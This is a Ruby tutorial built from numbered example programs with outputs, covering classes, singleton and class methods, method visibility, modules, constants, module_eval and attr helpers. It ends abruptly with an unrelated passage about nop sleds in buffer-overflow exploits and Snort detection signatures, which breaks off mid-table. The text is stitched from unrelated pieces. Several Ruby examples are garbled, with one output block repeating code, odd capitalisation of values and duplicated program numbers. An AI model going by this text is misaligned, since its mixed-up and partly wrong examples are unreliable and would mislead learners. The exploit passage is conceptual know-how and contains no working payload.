In Ruby methods do not have to be called using the () brackets. Thus ruby will always have a problem to figure out whether something is a method or a variable. There is no way of ruby knowing. Thus we have created a method *aa* which returns a number *23.*

In the print method writing *aa* calls the method *aa* as we have not created a variable *aa*. Thus the method *aa* gets called. We know create a variable *aa* and set its value to *20*. The same *aa* in the method print will mean variable to ruby and not method. Thus a variable gets priority over a method in ruby.

To be on the safer side use *()* for a method always so that there is no ambiguity between a method call and a variable.

```
"in aa"
aa=23
aa=nil
"in aa"
aa=23

aa = 30 if false
```

We make one small change in the above program and add the *if* statement to the *aa = 30* assignment. As we have used *false*, the variable *aa* will not have a value *30*. Unfortunately for ruby *aa* as a symbol has been created, it has a value of *nil* and therefore as ruby has seen *aa* as a variable, it assumes from no on that *aa* will always be a variable.

Classes

```
PROGRAM 1

   class Zzz
      p "in class"
   end
      p "outside class"

OUTPUT
"in class"
"outside class"
```

Nothing stops us for placing any code in a class, not just code that set constants. Ruby creates a constant with the same name as the class name and hence it executes all the code in the class.

```
PROGRAM 2

   class Zzz
      def vijay
          p "vijay"
      end

      def Zzz.new
          p "in new"
      end
   end
   a = Zzz.new
   a.vijay

OUTPUT
"in new"
C:/rubycode/a.rb:10: undefined method `vijay' for nil:NilClass
(NoMethodError)
```

We have created a class *'Zzz'* that has one instance method *'vijay'* and another class method *'new'*. When we call *'Zzz.new'* this is the method we call instead of the original in Object. We have overridden the new method but have not called the new of Object. The object a does not get initialized as the error message shows us.

We cannot get it working even after calling super in new.

```
PROGRAM 3

   class Zzz
      def vijay
          p "Zzz vijay"
      end
   end
   class Yyy < Zzz
      def vijay
          p "Yyy vijay"
      end
   end
   a = Yyy.new
   a.vijay
   class Yyy
      remove_method :vijay
   end
   a.vijay

OUTPUT
"Yyy vijay"
"Zzz vijay"
```

We have a class '*Zzz*' that has one method *'vijay'*. We then have a class *'Yyy'* which is derived from class *'Zzz'* and we also create a method called *'vijay'*. When we create an instance of class *'Yyy'* we can call the method '*vijay'* from it. We then use the method '*remove_method'* to remove this method from class *'Yyy'*.

Now when we call method *'vijay'*, as this method is not present in class *'Yyy'* it gets called from class *'Zzz'* instead.

```
PROGRAM 4

   class Zzz
      def vijay
          p "Zzz vijay"
      end
   end
   class Yyy < Zzz
      def vijay
          p "Yyy vijay"
      end
   end
   a = Yyy.new
   a.vijay
   Yyy::remove_method :vijay
   a.vijay

OUTPUT
"Yyy vijay"
C:/rubycode/a.rb:13: private method `remove_method' called for
Yyy:Class (NoMethodError)
```

We replace the last lines as above and now we get an error as the method '*remove_method'* is *'private'*. Due to this we have no choice but to enclose it in a class each time we want to call it. A round about way of doing the same thing. The thing to understand is that private method of a class should be draped in a class definition if we want to call it.

```
PROGRAM 5

   class Zzz
      def vijay
          p "Zzz vijay"
      end
   end
   class Yyy < Zzz
      def vijay
          p "Yyy vijay"
      end
   end
   a = Yyy.new
   a.vijay
   class Yyy
      undef_method :vijay
   end
   p Zzz.public_method_defined?('vijay')
   a.vijay
OUTPUT
"Yyy vijay"
true
C:/rubycode/a.rb:17: undefined method `vijay' for #<Yyy:0x2a67e08>
(NoMethodError)
```

Now we use the private method *'undef_method'*. This method actually blocks all calls to the method passed as a parameter *'vijay'*. The last line which calls the method *'vijay'* now gives us an error as there is no method *'vijay'* in class *'Yyy'*. We have added a call to the method *'public_method_defined?'*

This is called by the class 'Zzz' and this return true confirming that there is a method vijay in class *'Zzz'*. Thus *'undef_method'* unlike *'remove_method'* blocks all calls to the method *'vijay'*. The method *'remove_method'* only removes the method from the class and allows a super class method to be called. Method *'undef_method'* removes all traces of the call.

```
PROGRAM 6

   class Zzz
   end
   p Zzz.class
   p Zzz.superclass

OUTPUT
Class
Object
```

The class name *'Zzz'* is of type *'Class'* and it is also a constant. The *'superclass'* of class is *'Object'* and thus the name of a class is like any other object in Ruby. They are all derived from *'Object'*.

```
PROGRAM 7

   a = "vijay"
   b = a.dup
   print a.to_s , "," , b.to_s , "\n"
   class <<a
      def to_s
         "New value #{self}"
      end

      def mukhi
         self + self + self
      end
   end
   print a.to_s , "," , b.to_s , "\n"
   p a.mukhi
   p b.mukhi
OUTPUT
vijay,vijay
New value vijay,vijay
"vijayvijayvijay"
C:/rubycode/a.rb:14:  undefined  method  `mukhi'  for  "vijay":String
(NoMethodError)
```

We have created a string object *'a'* and then use the *'dup'* method to create another string object *'b'*. *'a'* and *'b'* are two different string objects. We can create a class that is associated with a single object. We write the keyword class followed by '<<' and the object name that we want to associate the class with.

As we have use object *'a'*, all the code we write will now become part of the class String that is associated with the object *'a'* and not *'b'*. Thus *'to_s'* which we have overwritten now displays the value of self which is *'vijay'* and also the words *'new value'*. The *'to_s'* of object *'b'* is left untouched. The method *'mukhi'* can be only be called by the object *'a'* and not the object *'b'* which gives us an error.

We did something similar earlier where we prefaced the name of the method with the object name. Both methods give us singleton methods.

```
PROGRAM 8

   class Zzz
      p self.class
      p self.name
   end
```

```
OUTPUT
Class
"Zzz"
```

We can place executable code in a class which will get executed at the time of running the program. We do not need to run new on a class. The *'self'* is must or else we will get a syntax error. A class definition is executable code. The self object represents the class as the current definition.

```
PROGRAM 9

   class Zzz
      def Zzz.vijay
         p name
      end
      vijay
   end
   Zzz::vijay
   Zzz.vijay

OUTPUT
"Zzz"
"Zzz"
"Zzz"
```

We create class method 'v*ijay'* and call this method in the code of the class itself. This class method is obviously allowed to access the members of the class called *'Class'* or any members of any superclass like Module. We are also allowed to execute the static member vijay using the '.' or '::'

```
PROGRAM 10

   class Zzz
      class << self
         def vijay
            p "vijay"
         end
      end
   end
   Zzz::vijay
   Zzz.vijay

OUTPUT
"vijay"
"vijay"
```

We have seen how we can create a class method by prefacing the name of the method with the class name. Another way of achieving the same effect is by using the syntax class *'<< self'*. Here *'self'* stands for the class *'Zzz'* and hence all the methods till the end become class methods. Once again use '.' or '::' to access them.

```
PROGRAM 11

   class Zzz
   end
   def vijay s1
      a = s1.new
      p a.class
   end
   vijay String
   vijay Array
   vijay Zzz

OUTPUT
String
Array
Zzz
```

Everything in ruby is an *'object'*. This includes the classes that we defined or the inbuilt classes. As String is a inbuilt class, we have a constant called *'String'* that represents this class. As it is a ruby object we can pass it as a parameter to the method *'vijay'* which stores it in *'s1'* and then calls new on it.

The data type of *'a'* shows us that we can treat class names an objects and do whatever we do with objects.

```
PROGRAM 12

   p self.class
   p self.name

OUTPUT
Object
C:/rubycode/a.rb:2: undefined method `name' for main:Object
(NoMethodError)
```

Now comes the million dollar question, what is *'self'*. This is an object that is of type *'Object'* and thus has no name method. *'Object'* uses Kernel as a *'mixins'* and hence we can call all the methods of Kernel also.

```
PROGRAM 12

   class Zzz
      def vijay
         p "vijay Zzz"
      end
      private :vijay
   end
   class Yyy < Zzz
      public :vijay
   end
   class Xxx < Zzz
   end
   a = Zzz.new
   b = Yyy.new
   c = Xxx.new
   b.vijay
   a.vijay
   c.vijay

OUTPUT
"vijay Zzz"
C:/rubycode/a.rb:16:   private   method   `vijay'   called   for
#<Zzz:0x2a67da8> (NoMethodError)
```

Ruby does not stop amazing us. In the class *'Zzz'* we make the method *'vijay'* private thus making no sure than other than members of the class *'Zzz'* no one else can call this method. We derive class *'Yyy'* from *'Zzz'* and now make the same method public. Thus we can call this method *'vijay'* using object *'b'* of type *'Yyy'*.

But as we have derived class *'Xxx'* from *'Zzz'* and not made the method public using object *'c'* we cannot call this method. Thus we can call method *'vijay'* from *'Yyy'* object but not from a *'Zzz'* and *'Xxx'* object. Any class is allowed to change the visibility of the method irrespective of what the original class dictated.

```
PROGRAM 13

   class Zzz
   end
   def Zzz.vijay
      p "vijay"
   end
   Zzz.vijay
   Zzz::vijay

OUTPUT
"vijay"
"vijay"
```

There are two ways of creating a class method; the first is what we showed you earlier as part of the class. The second way is by creating it outside the class as we have done in the above example. For most practical cases it makes no difference.

```
PROGRAM 14

   class Zzz
      def Zzz.vijay
         p "vijay zzz"
      end
      class << Zzz
```

```
        def mukhi
          p "mukhi"
        end
      end
   end
   Zzz.vijay
   Zzz.mukhi

OUTPUT
"vijay zzz"
"mukhi"
```

By using the name of a class after the << we now make all the methods till the end as class methods of the class *'Zzz'*.

```
PROGRAM 15

   class Zzz
      def Zzz.vijay
         p "vijay zzz"
      end
   end
   class << Zzz
      def mukhi
         p "mukhi"
      end
   end

OUTPUT
Zzz.vijay
Zzz.mukhi
```

We do not have to specify the *'<<'* inside the class *'Zzz'* we can always do it outside. There is no difference in either writing the name of the class *'Zzz'* or writing self. Both give us the same effect, methods following becomes class methods.

For the last time each time we define a class say *'Zzz'* we are creating a global constant of the same name called *'Zzz'* of type Class. This constant can be used like all other objects that we create.

```
PROGRAM 16

   class Zzz
      def Zzz.inherited s1
         print "Zzz inherited " , s1.class , "," , s1.to_s , "\n"
      end
   end
   class Yyy < Zzz
      def Yyy.inherited s1
         super
```

```
        print "Yyy inherited " , s1.class , "," , s1.to_s , "\n"
      end
   end
   class Xxx < Yyy
   end

OUTPUT
Zzz inherited Class,Yyy
Zzz inherited Class,Xxx
Yyy inherited Class,Xxx
```

Let's now look at the class members of the class called 'Class'. The first is the method called inherited. We create this method in the class 'Zzz' and it is passed a parameter which is the name of the class that is sub classing our class 'Zzz'. We display the class or type of parameter 's1' and its name.

We derive class 'Yyy' from 'Zzz' and place the inherited member in this class. We always call super because in Ruby the base class member never gets called. We have no executable code at all and deriving class 'Yyy' from 'Zzz' calls the inherited class method from 'Zzz'. In the same vein deriving class 'Xxx' from class 'Yyy' calls inherited from 'Yyy' and not class 'Zzz' as the nearest gets called first.

If we do not call super in 'Yyy', the 'Zzz' inherited does not get called. Thus each time some one derives from us, we get notified of such an act.

```
PROGRAM 17

   def Object.inherited s1
      print "Object inherited " , s1.class , "," , s1.to_s , "\n"
   end
   class Zzz
   end
   class Xxx < Zzz
   end
   class Yyy < String
   end

OUTPUT
Object inherited Class,Zzz
Object inherited Class,Xxx
Object inherited Class,Yyy
```

We now override the inherited class of object by defining a method called inherited and prefacing it by the name of the class Object. When we define a class 'Zzz' as it is derived from Object the inherited method gets called.

When we derive the class *'Xxx'* from *'Zzz'* which in turn is derived from Object our inherited method gets called. Finally when we derive from String our inherited gets called. This is how simple it is to override method from any class.

The other class method that Class contains is new which we have used a zillion times before.

```
PROGRAM 18

   class Zzz
      def Zzz.new(s1)
         print "static zzz " ,s1.to_s , "\n"
      end
      def new s1
         print "instance zzz " ,s1.to_s , "\n"
      end
   end
   a = Zzz.new('hi')
   Zzz.superclass

OUTPUT
static zzz hi
Object
```

The static method new gets called as we are calling it using the name of the class and not the instance. We have also created an instance method called new. The superclass method is an instance method but the class object is called *'Zzz'*. Hence here the object name is the name of the class *'Zzz'* which is where the confusion is. Superclass is an instance method and not a class method.

Let's now look at what the Object class contains for us. As this class also brings in a mixin called kernel lets do both object and Kernel together. All objects in ruby contain the following methods of Object and kernel.

```
PROGRAM 19

   class Zzz
      def initialize s1
         @a1 = s1
      end
   end
   a = Zzz.new(100)
   a.display
   print ","
   a.display($>)
   p a
   p a.to_s
   $>.write a
   p $>.class
```

```
OUTPUT
#<Zzz:0x2a680c0>,#<Zzz:0x2a680c0>#<Zzz:0x2a680c0 @a1=100>
"#<Zzz:0x2a680c0>"
#<Zzz:0x2a680c0>IO
```

The display method prints out the name of the class and the handle of the object. The display method normally writes to the port specified or $> the default. The display method gives us the same values that *'to_s'* gives us and less than what the p method would do while printing the object.

We can call the write method using the *'$>'* variable. The *'$>'* has a type of class IO that has a method called write. This IO object has dozens of methods that we spend some time on earlier. *'$>'* denotes the screen at the current moment.

```
PROGRAM 20

   class Zzz
   end
   class Yyy
   end
   a = Zzz.new
   p a.instance_of?(Zzz)
   p a.instance_of?(Yyy)

OUTPUT
True
false
```

The *'instance_of?'* Method tells us whether the object calling this method is an instance of the class passed as a parameter. The object is an instance of class *'Zzz'* and not class *'Yyy'* and therefore the first statement returns true the second false.

```
PROGRAM 21

   class Zzz
      def initialize s1
         @a1 = s1
         @a3 = [1,2]
      end
   end
   class Yyy
   end
   a = Zzz.new(10)
   b = Yyy.new
   p a.instance_variables
   p b.instance_variables

OUTPUT
["@a1", "@a3"]
```

```
[]
```

The *'instance_variables'* method gives us a list of names of instance variables in the class. This method returns an array giving us a list of instance variables. The class *'Zzz'* has two instance variables and the class *'Yyy'* has none.

```
PROGRAM 22

   class Zzz
      def initialize s1
         @a1 = s1
         @a3 = [1,2]
      end
      def mukhi
         @a2 = 'hi'
      end
   end
   a = Zzz.new(10)
   p a.instance_variables
   a.mukhi
   p a.instance_variables

OUTPUT
["@a1", "@a3"]
["@a1", "@a2", "@a3"]
```

One thing about ruby is that everything is dynamic. The initialize method creates two instance variable a1 and a3. The method *'instance_variables'* gives us an array of two variables. We then call the method mukhi that creates one more instance variable a2. Now when we call the same method *'instance_variables'* we get an array of three variables a1 a2 and a3.

In programming languages that we have learnt, the instances variables do not dynamically grow like in Perl. The minute the class is created the instance variables are created and the number frozen. Thus it takes some time for us C/C++/Java/C# programmers some time to learn Ruby. Simply because it is more advanced than whatever we have learnt about before.

```
PROGRAM 23

   Aa = 20
   class Zzz
   Bb = Aa + 10
   end
   print Aa, "," , ::Aa , "," , Zzz::Bb

OUTPUT
20,20,30
```

A constant by definition begins with a capital letter. We can access the const *'Aa'* by either using *'Aa'* or *'::Aa'*. The const *'Bb'* in the class *'Zzz'* has to be referred to by the syntax *'Zzz::Bb'*.

```
PROGRAM 24

   class Zzz
      def initialize
         Bb = 10
      end
   end

OUTPUT
C:/rubycode/a.rb:3: dynamic constant assignment
Bb = 10
```

We cannot initialize a constant within a method of a class. We get the above error as we have tried to set the value of a constant in the initialize method. We have to set its value outside a method.

```
PROGRAM 25

   class Zzz
      def Zzz.vijay
         @aa
      end
      def initialize
         @aa = 20
      end
      def vijay
         @aa
      end
   end
   a = Zzz.new
   p a.vijay
   p Zzz.vijay

OUTPUT
20
nil
```

We have created a instance variable *'@aa'* in class *'Zzz'* initialize method. When we call the instance method *'vijay'* we get a return value of 20 the value of *'@aa'*. The problem is when we call the class method *'vijay'* which returns the same value of the instance variable *'aa'* we get nil. Thus we do not get an error but we should not refer to instance variables in a class method.

```
PROGRAM 26

   a = [1,2]
   class Zzz
      def vijay=(s1)
         print "vijay= " , s1 , "\n"
      end
   end
   b = Zzz.new
   a.each { | b.vijay| p "hi"}

OUTPUT
vijay= 1
"hi"
vijay= 2
"hi"
```

We have an array *'a'* of two members and the class *'Zzz'* contains a method *'vijay'* with the equal to sign. In the each method we pass the method name *'b.vijay'* in the *'or'* sign. Now ruby will call the method *'vijay='* in the object a twice passing the value 1 and 2 to the parameter *'s1'*. The p "hi" will also execute twice. Thus we can pass the name of a method which will receive the values by the each method.

Modules

A module is a class but we cannot instantiate it. Like a class it can contain instance methods, class methods, constant variables and class variables. We use the same :: operator as a delimiter as with classes.

```
PROGRAM 1

   module Aaa
   p "hi"
   end
   p Aaa.class

OUTPUT
"hi"
Module
```

Like a class the code of a module is also executed only once and the name of the module is a constant of type Module and not Class.

```
PROGRAM 2

   module Aaa
      def vijay
         p "vijay"
      end
      def Aaa.mukhi
         p "mukhi"
      end
   end
   Aaa.mukhi
   Aaa::mukhi
   #Aaa::vijay
   Aaa.vijay

OUTPUT
"mukhi"
"mukhi"
C:/rubycode/a.rb:12:  undefined  method  `vijay'  for  Aaa:Module
(NoMethodError)
```

We have a module *'Aaa'* which has one instance method *'vijay'* and one class method *'mukhi'*. The class method is easy to call using the name of the module and the '.' or the '::' as a separator. The reason for this is that for class members we use the class methods as they belong to a class and not the instance.

```
PROGRAM 3

   module Mmm
      A1 = 20
   end
   include Mmm
   p A1
   p Mmm::A1

OUTPUT
20
20
```

We have a module *'Mmm'* that has a single constant *'A1'* which we can access as *'Mmm:A1'*. As we have also included this module as a top level module, we do not have to use the name of the module to access the members of the module. This is simply an added convenience for us.

```
PROGRAM 4

   module Mmm
      def vijay
         p "vijay"
      end
   end
   Mmm.vijay

OUTPUT
C:/rubycode/a.rb:6:  undefined  method  `vijay'  for  Mmm:Module
(NoMethodError)
```

It is extremely simple to access class members from a module. As *'vijay'* is an instance member we cannot access it using the name of the module. Thus instance methods are always a problem when using a module.

```
PROGRAM 5

   module Mmm
      def vijay
         p "vijay"
      end
   end
   include Mmm
   vijay

OUTPUT
"vijay"
```

One way out is to do what we did a shirt while ago, make the module a top level module and thus we can do away with the module name. We can now access method vijay as vijay.

```
PROGRAM 6
```

```
   module Mmm
      def vijay
         p "vijay"
      end
   module_function :vijay
   end
   Mmm.vijay

OUTPUT
"vijay"
```

Another way out is by using the method *'module_function'* which takes a module instance method like vijay and copies it to a module function. This is an actual copy and there is no alias created.

A module consists of methods which can be instance or module methods; we do not call them class methods and constants. As shown before instance methods are part of the class the module gets included in, whereas module methods do not. The flip side is that module methods can be called directly from the module without creating a instance, instance methods cannot be called from a module.

```
PROGRAM 7

   module Aaa
      Aa = 10
      bb = 20
   end
   p Aaa::Aa
   p Aaa::bb

OUTPUT
10
C:/rubycode/a.rb:6:   undefined   method   `bb'   for   Aaa:Module
(NoMethodError)
```

See the difference a capital letter can make. The object *'Aa'* is a constant and thus the module can access it using *'::'*, but as bb is not a constant, we cannot access it using the module name. Do not use variables in modules.

```
PROGRAM 8

   module Ccc
   @@a3 = 10
   end
   module Aaa
   include Ccc
   Aa = 10
   def vijay
   end
   def Aaa.mukhi
   end
   class Zzz
   end
   module Bbb
   end
   @@a1 = 10
   @a2 = 20
   end
   p Aaa.constants
   p Aaa.class_variables
   p Aaa.included_modules
   p Aaa.instance_methods

OUTPUT
["Aa", "Zzz", "Bbb"]
["@@a1", "@@a3"]
[Ccc]
["vijay"]
```

We have a module *'Ccc'* that has one class variable *'@@a3'*. The module *'Aaa'* includes this module *'Ccc'*. We create one constant *'Aa'*, one instance method *'vijay'*, one module method *'mukhi'* a class *'Zzz'* and a module *'Bbb'*. We also add one class variable a1 and an instance variable a2. The constants method gives us an array of constants which is *'Aa'* and the class name *'Zzz'* and module name *'Bbb'* which are also constants.

The class variables hand us *'@@a1'* which is created in module *'Aaa'* and *'@@a3'* which is included from module *'Ccc'*. The *'included_modules'* gives us a list of modules we have included using include which is only *'Ccc'*. Finally as we have only one instance method *'vijay'*, the method *'instance_methods'* gives us this value.

A lot of the above methods are available with the classes also.

```
PROGRAM 9

   module Aaa
   p Module.nesting
   module Bbb
   p Module.nesting
   module Ccc
   p Module.nesting
   end
   end
   end

OUTPUT
[Aaa]
[Aaa::Bbb, Aaa]
[Aaa::Bbb::Ccc, Aaa::Bbb, Aaa]
```

We like to have modules within modules. The code inside a module gets executed. The Module class has a method nesting that tells us where we are. To start with we are in the module *'Aaa'* and this is what gets displayed. The next time we call the nesting method we are in the module *'Bbb'*. Thus the array returned gives us two members, the first the module we are in, the name is not *'Bbb'* but *'Aaa::Bbb'*.

The next member of the array mentions *'Aaa'* to tell us that this is where we came from. Thus we get an array of two as the nesting level is 2. The third call happens at a nesting level of 3, the array returned has three members starting with *'Aaa:Bbb:Ccc'*, followed by *'Aaa::Bbb'* and then *'Aaa'*. Useful to tell us where we are when we see some one else's code.

```
PROGRAM 10

   module Aaa
   end
   module Bbb
      include Aaa
   end
   module Ccc
      include Aaa
   end
   module Ddd
      include Bbb
   end
   module Eee
   end
   p Aaa > Bbb
   p Aaa > Ddd
   p Aaa > Eee
   p Aaa < Bbb
   p Aaa == Aaa
   p Aaa == Bbb

OUTPUT
True
True
Nil
False
True
false
```

The logical operators are defined for modules also. The module 'Aaa' is included in the module 'Bbb' and in the module 'Ddd' as this includes module 'Bbb'. The '>' is overloaded for modules. As we include module 'Aaa' in module 'Bbb', 'Aaa' is considered to be greater than modules 'Bbb' and 'Ddd'. We always thought that it would be the other way around. When we compare 'Aaa' and 'Eee' we get nil as there is no relationship between them.

Thus as ‘Aaa’ is greater than ‘Bbb’, ‘Aaa < Bbb’ will give is false. The ‘==’ will be true for ‘Aaa’ is equal to ‘Aaa’ but false for ‘Aaa == Bbb’. We like you to spend some more time on the other modules.

```
PROGRAM 11

   module Aaa
   end
   module Bbb
      include Aaa
   end
   module Ccc
   end
   p Aaa <=> Bbb
   p Bbb <=> Aaa
   p Aaa <=> Aaa
   p Aaa <=> Ccc

OUTPUT
1
-1
0
nil
```

The ‘<=>’ tells us the relationship between modules. Modules unlike classes cannot inherit from each other, all that they can do is simply include from each other. Module ‘Aaa’ is included by module ‘Bbb’. Module ‘Ccc’ has no relationship at all with module ‘Aaa’. The ‘<=>’ returns 1 if the module on the left is included by the module on the right. As module ‘Aaa’ is included by module ‘Bbb’ we get 1.

The –1 means that the module on the left includes the module on the right, the opposite of the above. Another way of saying it is that 1 and –1 tells us who includes whom. If the modules are the same we get a 0. If there is no relationship we get a nil.

```
PROGRAM 12

   module Aaa
   end
   module Bbb
   include Aaa
   end
   module Ccc
   include Bbb
   end
   p Aaa.ancestors
   p Bbb.ancestors
   p Ccc.ancestors
```

```
OUTPUT
[Aaa]
[Bbb, Aaa]
[Ccc, Bbb, Aaa]
```

The way we look at life, include is like an inheritance for classes. The module *'Aaa'* has no *'include'* so the ancestors returns the name *'Aaa'*. The second module *'Bbb'* has one include for module *'Aaa'* and hence the ancestors returns two values *'Bbb'* and *'Aaa'*. Even though module *'Ccc'* has one include *'Bbb'*, this module include module *'Aaa'* and hence ancestors for module *'Ccc'* return three modules *'Ccc'*, *'Bbb'* and *'Aaa'*.

```
PROGRAM 13

   module Aaa
      Aa = 20
   end
   Aa = Aaa.clone
   p Aa.class
   p Aa == Aaa
   p Aa::Aa
   p Aa.name

OUTPUT
Module
False
20
"Aa"
```

Cloning is banned in lots of parts of the world, but not in ruby. We make a clone of the module *'Aaa'* and get a new module that we store in the constant *'Aa'*. The class of *'Aa'* is module; the comparison with *'Aaa'* is false as it is a new copy made. The constant *'Aa'* is 20 and the name of the module is *'Aa'*.

Even though we should not change the constant *'Aa'*, if we do, any change in *'Aaa'* is not carried on to module *'Aa'*.

```
PROGRAM 14

   module Aaa
      Aa = 20
   end
   p Aaa.const_defined?('Aa')
   p Aaa.const_defined?('Aaa')

OUTPUT
True
false
```

The method *'const_defined?'* Returns true or false depending upon whether the constant is present in the module. Our module *'Aaa'* has one constant *'Aa'* and hence the first invocation returns true, the second returns false as we do not have a constant *'Aaa'*.

```
PROGRAM 15

   module Aaa
      Aa = 20
   end
   p Aaa.const_get(:Aa)

OUTPUT
20
```

The method *'const_get'* takes a symbol, which is a word with a colon. The word normally is some known ruby entity. We pass the constant name *'Aa'* prefaced with a colon and ruby comes back with a value. As of now the same as writing *'Aaa::Aa'*.

```
PROGRAM 16

   module Aaa
   end
   Aaa.const_set('Aa', 100)
   p Aaa.const_get(:Aa)

OUTPUT
100
```

The real use of *'const_set'* is to allow us to create a constant *'Aa'* on the fly and set its value to 100. The *'const_get'* as it takes a symbol, passes the compiler and when it reaches this line no error results as the constant is already created. This is one way of adding constants to our modules.

```
PROGRAM 17

   module Aaa
      def vijay
      end
      def Aaa.mukhi
      end
   end
   p Aaa.method_defined?(:vijay)
   p Aaa.method_defined?("vijay")
   p Aaa.method_defined?("mukhi")

OUTPUT
True
True
```

```
false
```

The method *'method_defined?'* takes either a symbol as the method name or a string as the method name. It returns *'true'* for *'vijay'* as this method exists in the module *'Aaa'*. It returns *'false'* for *'mukhi'* as this method is not an instance method but a class method.

```
PROGRAM 18

   module Aaa
   end
   a = "def Aaa.vijay() p 'hi' ; 20 end"
   b = Aaa.module_eval(a)
   p Aaa::vijay
   print b.class,"\n"

OUTPUT
"hi"
20
NilClass
```

The *'module_eval'* method is another way of adding code to a class or module. We have a module with no methods at all. We have a string a has the code to create a method *'vijay'* that prints hi and returns 20. We use the method *'module_eval'* to execute a string of ruby code for us. The return value of this method is a nil class.

Now when we run the class method *'vijay'* off the module we see hi and the return value of 20. This is enough proof that the method got created in the module dynamically. Use the reflection API to verify this further.

```
PROGRAM 19

   module Aaa
   end
   a = %q{
   def Aaa.vijay()
      p "hi"
      20
   end
   }
   b = Aaa.module_eval(a)
   p Aaa::vijay
   print b.class,"\n"

OUTPUT
"hi"
20
NilClass
```

A more pleasant way of specifying a string is by using the *'%q'* modifier. Here we can place our string on multiple lines. The data type of a is yet a string but the string looks more readable. Thus use *'%q'* whenever and wherever we want to specify a string over multiple lines.

```
PROGRAM 20

   module Aaa
      attr(:vijay,true)
   end
   p Aaa.instance_methods
   p Aaa.instance_variables
   class Zzz
      include Aaa
   end
   a = Zzz.new
   a.vijay = 20
   p a.vijay
   p a.instance_variables

OUTPUT
["vijay", "vijay="]
[]
20
["@vijay"]
```

The module 'Aaa' has no methods, no instance variables. The method 'instance_variables' now displays two instance methods for us, 'vijay' and 'vijay='. As we did not create a single method, the method 'attr' that takes two parameters creates the methods for us. As we have specified 'vijay', this method 'attr' creates a method called 'vijay' that returns an instance variable '@vijay'. The code generated looks like

Def vijay
@vijay
end

The second being true, another method 'vijay=' get created that looks like

Def vijay=(s1)
@vijay = s1
end

This is what happens in a class also. We include the module in a class as we cannot access instance variables in a class. This is why the instance variables in the module give us a empty array. We create a object a of type 'Zzz' and can now we get a getter and setter method for 'vijay'. Using the syntax 'a.instance_variables' we see the instance variable '@vijay'. This is how 'attr' exposes a instance variable as methods.

```
PROGRAM 21

   module Aaa
      attr(:vijay,false)
   end
   p Aaa.instance_methods

OUTPUT
["vijay"]
```

We now use false in the method 'attr' and the setter method 'vijay=' does not get created for us.

```
PROGRAM 22

   module Aaa
      attr_accessor(:vijay,:mukhi)
   end
   p Aaa.instance_methods

OUTPUT
["vijay", "mukhi=", "vijay=", "mukhi"]
```

Ruby offers us a lot of conveniences. The *'attr_accessor'* method allows us to pass several symbols that get converted to functions. All that happens internally is that *'attr'* gets called with each symbol name and the second parameter being true. This is nothing but a short form when we want to create multiple instance variables in one go.

```
PROGRAM 23

   module Aaa
      attr_reader(:vijay,:mukhi)
   end
   p Aaa.instance_methods

OUTPUT
["vijay", "mukhi"]
```

The method 'attr_reader' allows us to create multiple instance variables but does not allow us to change them. Thus we have no = method created. These are read only instance variables.

```
PROGRAM 24

   module Aaa
      attr_writer(:vijay,:mukhi)
   end
   p Aaa.instance_methods

OUTPUT
["mukhi=", "vijay="]
```

The ‘attr_writer’ only allow us to change the values of the instance variables.

```
PROGRAM 25

   module Aaa
   attr_writer(:vijay,:mukhi)
   attr_reader(:vijay,:mukhi)
   end
   p Aaa.instance_methods

OUTPUT
["mukhi=", "vijay", "vijay=", "mukhi"]
```

Lots of people do not use the *‘attr_accessor’* method but use both the *‘attr_reader’* and *‘attr_writer’* methods. Whenever we find more than one way to skin a cat, we have to explain all the myriad possible ways.

```
PROGRAM 25

   module Aaa
      def vijay
         p "vijay"
      end
      def Aaa.extend_object(s1)
         p s1
         super
      end
   end
   class Zzz
      def initialize
         p self
      end
   end
   a = Zzz.new
   a.extend(Aaa)
   a.vijay

OUTPUT
#<Zzz:0x2a67e08>
#<Zzz:0x2a67e08>
"vijay"
```

In the module *'Aaa'* we have a instance method *'vijay'* and a class method *'extend_object'*. We have a constructor in class *'Zzz'* that prints self, a handle to the *'Zzz'* object. We then create a *'Zzz'* object *'a'* and then call the extend method passing now a module name *'Aaa'*. This act of ours will add the method *'vijay'* to the list of instance methods of class *'Zzz'*. We verify this by calling *'a.vijay'*.

The point of the above example is that the method *'extend_object'* gets called when we call the extend method. In this method we are passed a handle to the object calling the extend method. This is the same object that is represented by self or the object a. If we not call super the original *'extend_object'* in our superclass the method *'vijay'* does not added.

PROGRAM 26

```
   module Aaa
      def Aaa.method_added s1
         p s1
         print s1, "," , s1.class
      end
   end
   module Aaa
      def vijay
      end
      def Aaa.mukhi
      end
   end
```

OUTPUT

```
:vijay
vijay,Symbol
```

The module *'Aaa'* has added a method called *'method_added'*. We then add two methods in the module *'Aaa'*, a instance method called *'vijay'* and a class method *'mukhi'*. Each time we add an instance method only, the method *'method_added'* gets called. The parameter passed s1 is a symbol which is the name of the method created.

We like to use the p method as it prints out the name of the symbol with a :, the print simply prints out the name. The class method tells us that s1's type is symbol. There are lots of callback methods in ruby which inform us of any dynamic activity that happens.

PROGRAM 27

```
   module Aaa
      Aa=20
   end
   p Aaa::Aa
   p Aaa.constants
   module Aaa
      remove_const 'Aa'
   end
   p Aaa.constants
   p Aaa::Aa

OUTPUT
20
["Aa"]
[]
C:/rubycode/a.rb:10: uninitialized constant Aaa::Aa (NameError)
```

The *'remove_const'* method physically removes a constant from the constants present in a module. The method constants return to us the constants in a module and we see *'Aa'* as a valid constant. When we run the method *'remove_const'*, it actually removes the constant *'Aa'* as the next call to the constants method gives us a nil array. The call to constant *'Aa'* in the last line will obviously fail.

```
PROGRAM 28

   module Aaa
      Aa=20
   end
   p Aaa::Aa
   Aaa::remove_const 'Aa'
   p Aaa::Aa

OUTPUT
20
C:/rubycode/a.rb:5:  private  method  `remove_const'  called  for
Aaa:Module (NoMethodError)
```

Whenever we get an error private method called, it only means that as the method is marked private we cannot call it using instance object or class name. The only way out is to wrap the method call in a class definition. All programming languages have their own ways of doing things that mere mortals like us do not comprehend.

Nops

When you exploit a vulnerability such as a buffer overflow, you coerce the system into jumping into your malicious code. Often, knowing exactly what address your code starts at in memory is difficult, and these addresses can change depending on various factors. This is why we make use of what is called a 'nop sled'. A nop sled is like a landing zone in your exploit so that you don't need to know the exact address to jump back to. It basically consists of a series of 'no operation' codes or assembly instructions that do not make any changes to the memory or status of the running program. You coerce the system into jumping into the general area of the nops and the system will keep executing the nops and slide into your malicious code.

On Intel x86 processors, the assembly opcode for the nop is '0x90'. Classically, exploits used to use a large sled of these bytes before the payload was executed. The problem is that every IDS in the world contains a signature to detect simple nop sleds. For example, at the time of writing, Snort contains 9 nop signatures that trigger when it sees a large number of bytes that could be used in a nop sled.

Description	Snort rule SID
Shellcode x86 NOOP	648
